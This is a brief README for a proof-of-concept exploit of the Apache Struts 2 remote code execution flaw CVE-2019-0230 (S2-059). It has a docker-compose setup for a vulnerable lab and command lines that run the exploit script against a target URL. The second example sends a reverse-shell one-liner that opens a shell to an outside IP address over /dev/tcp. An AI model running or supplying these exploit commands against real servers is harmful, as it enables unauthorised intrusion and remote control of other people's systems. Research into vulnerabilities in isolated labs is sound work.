CVE-2019-0230 PoC — Apache Struts 代码执行漏洞

介绍

# CVE-2019-0230_Struts2S2-059

## How to use

### Build Struts252-059 Docker
```shell=
docker-compose up -d
```

### How To Use

python3 poc.py "URL" "shell"

Example(PoC)：
```shell=
python3 poc.py http://127.0.0.1:8080 "touch /tmp/1234"
```

![](https://i.imgur.com/prbzR7M.png)


Example(PoC)-2_Reverse Shell：
```shell=
python3 poc.py http://127.0.0.1:8080 "0<&196;exec 196<>/dev/tcp/192.168.10.106/5051; sh <&196 >&196 2>&196"
```
![](https://i.imgur.com/vKjnqej.png)


### Reference
1. [Struts2 S2-059 Remote Code Execution Vulnerablity(CVE-2019-0230)](https://github.com/vulhub/vulhub/tree/master/struts2/s2-059)
2. [struts2 s2-059远程代码执行漏洞（CVE-2019-0230）](https://www.freebuf.com/vuls/257494.html)
3. [java.lang.Runtime.exec() Payload Workarounds](http://www.jackson-t.ca/runtime-exec-payloads.html)

文件快照

备注